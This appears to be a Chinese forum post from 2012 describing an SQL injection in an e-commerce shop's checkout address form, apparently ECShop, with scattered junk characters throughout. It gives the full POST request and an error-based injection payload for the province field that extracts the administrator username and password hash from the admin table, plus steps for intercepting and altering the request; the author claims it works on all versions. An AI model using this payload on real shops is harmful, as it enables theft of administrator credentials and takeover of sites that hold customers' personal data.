感谢欠杀的黑盒, z. h0 u4 b- F$ {0 }: L
! A6 d& t, Y/ u0 n9 B3 o
" n# | I& u" z9 ~0 M: ]9 H8 C把任意商品加入购物车在填写配送地址那一页，有地区选择
. d9 w6 h4 g5 y2 W # d) Y! m$ u0 E, e
flow.php?step=consignee&direct_shopping=1
5 k& x A, w. |/ A% h比如省选择安徽
# L9 K. f" T& _
6 x5 s5 D) T# K& Y% G# {/ k其中POST数据如下
! V/ Y9 {9 L. `# C$ i3 P
. U( k! T0 \6 @! L( n& ?country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3, [$ q9 C& H. ^6 k: |
改成+ p: @9 ]$ V. K+ M/ r0 }
/ r6 ^" r7 d$ o4 v4 u& n/ x
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
& j. \9 V' q$ hps：详细的方法，用火狐tamper data插件……..即可改post内容…..( Y) ]* ~; F4 h0 P6 I- C' r
/ ^9 z) _5 M' G6 d- G. T先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包0 R/ \/ |/ T7 Y6 o! k
& K7 `3 A3 Z: M1 ~: ?$ p& k Y1 B
就会回显错误页面了。。。。
3 {; s$ N# V6 T+ | - B+ p3 x8 S& @) ^! h. K
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的! l7 I2 ^* o1 B" j9 ^; a! F
|
发表于 2012-12-31 09:19:27
收藏
支持
反对